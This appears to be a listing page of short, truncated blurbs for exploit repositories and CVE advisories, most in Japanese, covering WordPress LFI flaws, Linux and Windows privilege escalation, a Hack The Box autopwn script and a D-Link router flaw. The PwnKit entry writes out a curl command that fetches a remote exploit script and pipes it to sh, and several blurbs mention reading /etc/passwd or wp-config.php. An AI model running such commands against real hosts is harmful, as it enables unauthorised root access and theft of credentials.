CVE-2025-2294

CVE-2025-2294 - WordPress Kubio AI Page Builder = 2.5.1 - ローカルファイルインクルージョン LFI エクスプロイト 概要 CVE-2025-2294 は、WordPress 用の Kubio AI Page Builder プラグイン バージョン 2.5.1 まで に影響を与えます。このプラグインは、thekubiohybridthemeloadtemplate 関数を介して 認証されていないローカルファイルインクルージョン LFI の脆弱性を持っています。 この脆弱性により、攻撃者は脆弱な WordPress...

CVE-2025-2294

CVE-2025-2294 🚨 CVE-2025-2294 - Kubio AI Page Builder for WordPress의 로컬 파일 포함LFI 취약점 🧱 🔍 개요 CVE-2025-2294 는 WordPress용 Kubio AI Page Builder 플러그인버전 2.5.1 이하에 영향을 미치는 중요한 🔥 로컬 파일 포함LFI 취약점입니다. 이 결함으로 인해 인증되지 않은 원격 공격자 👾가 kubio-site-edit-iframe-classic-template URL 매개변수를 통해 서버의 임의 파일을 포함할 수 있습니다. 이...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPEエクスプロイト テストサポート: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32,Win2003 x64 元のexpはxp、2003をサポートしていませんでした。現在のコードは元のコードに基づいて、これら2つのシステムのサポートを追加しています。 使い方 root@kitploit: CVE-2018-8120...

CVE-2025-4380

CVE-2025-4380 - Ads Pro プラグイン = 4.89 - ローカルファイルインクルージョン LFI エクスプロイト 説明 このPythonエクスプロイトは、WordPress用の Ads Pro プラグイン ≤ 4.89 をターゲットとし、bsapreviewcallback AJAX アクションを介した ローカルファイルインクルージョン LFI 脆弱性を悪用します。 認証されていない攻撃者はこれを悪用して、サーバーのファイルシステムから任意のファイル（/etc/passwd、wp-config.php などの機密ファイルを含む）を読み取ることができます。...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Ubuntu OverlayFSのローカル特権昇格脆弱性に対する最小限のPoCです。 CVE一覧 CVE-2023-2640 – OverlayFSの権限処理の問題 CVE-2023-3262 – OverlayFSのケーパビリティ昇格の問題 ファイル CVE-2023-2640.sh – 基本的なOverlayFSの動作テスト CVE-2023-3262.sh – ケーパビリティ昇格のPoC exploitchain.sh – 結合エクスプロイト root 必要条件 脆弱なUbuntuシステム ローカルアクセス unshare, setca...

CVE-2022-0185-POC

CVE-2022-0185 — 概念実証 CVE-2022-0185 の概念実証エクスプロイト。Linux カーネルの legacyparseparam 関数 fs/fscontext.c におけるヒープベースのバッファオーバーフローです。これにより、ローカルの非特権ユーザーが root への権限昇格を実行できます。 オリジナルのエクスプロイト: Crusaders of Rust。詳細な解説: https://www.willsroot.io/2022/01/cve-2022-0185.html 脆弱性 このバグは、legacyparseparam...

CdpSvcLPE

CdpSvcLPE 通过 CdpSvc 服务实现 Windows 本地权限提升（可写 SYSTEM 路径 DLL 劫持） 简短描述： Connected Devices Platform Service（简称 CDPSvc）是一种以 NT AUTHORITY\LOCAL SERVICE 身份运行的服务，它在启动时通过调用 LoadLibrary 尝试加载缺失的 cdpsgshims.dll DLL，但未指定其绝对路径。因此，可以在 DLL 搜索顺序目录中劫持该 DLL；如果我们在一个可写的 SYSTEM 路径（如 C:\python27）中劫持该 DLL，就能以 NT...

AutoPwn-Titanic.htb

Titanic AutoPWN - HTB Machine これは、Hack The Box のマシン Titanic 向けの自動エクスプロイトスクリプトです。 Hack The Box 上の Titanic HTB Linux マシン向けの完全な自動エクスプロイトスクリプトです。詳細な解説 - WriteUp.md 📋 説明 このスクリプトは以下の操作を行います。 Phase 1: LFI 経由で gitea.db ファイルを取得・解析し、ユーザーのハッシュを抽出します hashcat 形式に変換して開発者のパスワード（PBKDF2-HMAC-SHA256）のクラックを支援します...

KDE_Vuln

KDE vFAT 脆弱性についての考察。 1: 影響範囲は当初考えていたほど大きくはない。 ほとんどのシステムはおそらく、新しいバージョンのKDEに更新されているか、別のGUIを実行しているだろう。 ただし、正確な数値を得るには実際の統計データを確認する必要があるだろう。 マシンへの物理的アクセスを得ること自体がすでに大変な作業なのに、ターゲットマシンが想定していたものとは異なるGUIを実行しているというだけでエクスプロイトが機能しないのは、厄介に思える。 2: vFATラベルの11文字制限はもどかしい。...

CVE-2018-7422

CVE-2018-12613 ユーザー入力のサニタイズがないことによるローカルファイルインクルージョンの脆弱性。 影響を受けるソフトウェア 1. Wordpress Plugin: Site-Editor v.1.1.1; 使用方法 このPowerShellスクリプトは、エクスプロイトHTTPリクエストを作成するために2つのパラメーターを必要とします: root@kitploit: 1. WordpressのURLエンドポイント 2. リモートサーバーから取得するファイルのフルパス 例 スクリプトを使用するためにすべてのパラメーターを準備します: その後、ファイルが取得されます。...

CVE-2026-20516

CVE-2026-20516: Android TV における MiracastService の混乱した代理（confused deputy） Davide Di Matteo @Dingo97 による調査および開示。 これは私にとって初めてクレジットされた CVE です。PEAQ Android TV を調査中に、不適切にエクスポートされたシステム権限の Miracast サービスを発見しました。呼び出し元は、サービス自身の権限を使って Wi-Fi Direct の状態を変更させる intent extra を供給できます。 MediaTek はこの問題を...

PwnKit_CVE-2021-4034

PwnKit CVE-2021-4034에 대한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora 및 CentOS 기반의 취약한 Linux 배포판에서 바로 사용할 수 있습니다. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh" 수동 실행 root@kitploit: curl -fsSL...

CVE-2023-31059-Repetier-Server-1.4.10-Unauthenticated-Path-Traversal

Repetier-Server = 1.4.10 著作者: Mohammed Idrees Banyamer 役割: セキュリティ研究者 国: ヨルダン 🇯🇴 概要 Repetier‑Server ≤ 1.4.10 における 認証不要のリモートパストラバーサル / LFI 脆弱性 に対する概念実証（PoC）エクスプロイトです。 この脆弱性により、connectionLost.php エンドポイントの巧妙に細工された ..%5c シーケンスを介して、任意のファイルを読み取ることが可能になります。 脆弱性の詳細...

CVE-2026-94036

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

CVE-2021-1675

🖨️ CVE-2021-1675 — PrintNightmare Windows Print Spooler RCE/LPE タイプ: 概念実証 — シミュレーション（非機能） CVE: CVE-2021-1675 + CVE-2021-34527 CVSS: 7.8 LPE / 8.8 RCE 別名: PrintNightmare パッチ適用: 2021年6月/7月 — KB5004945 CISA KEV に追加: 2021年7月 ⚠️ このPoCのペイロードは明示的に架空かつ非悪意のものです —...

jit

JitPass Just-In-Time Secret Protection for Developers & AI Agents Your AI agent can read every secret on your Mac. JitPass makes it ask first. Download for Mac · brew install jitpass/tap/jitpass · Docs · jitpass.com Free for personal and internal company use · No account · No telemetry · Nothing...

CVE-2026-94036

D-Link DIR-X1860 and DIR-X1860Z routers (up to version 1.0.2.220120.165402) are affected by an improper access control flaw in the /ubus file of the routerd component. Manipulation of the passwd_set argument allows an attacker on the local network to bypass access controls, with no authentication...

CVE-2026-94036 D-Link DIR-X1860/DIR-X1860Z routerd ubus access control

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

EUVD-2026-83752

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

CVE-2026-94036 D-Link DIR-X1860/DIR-X1860Z routerd ubus access control

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...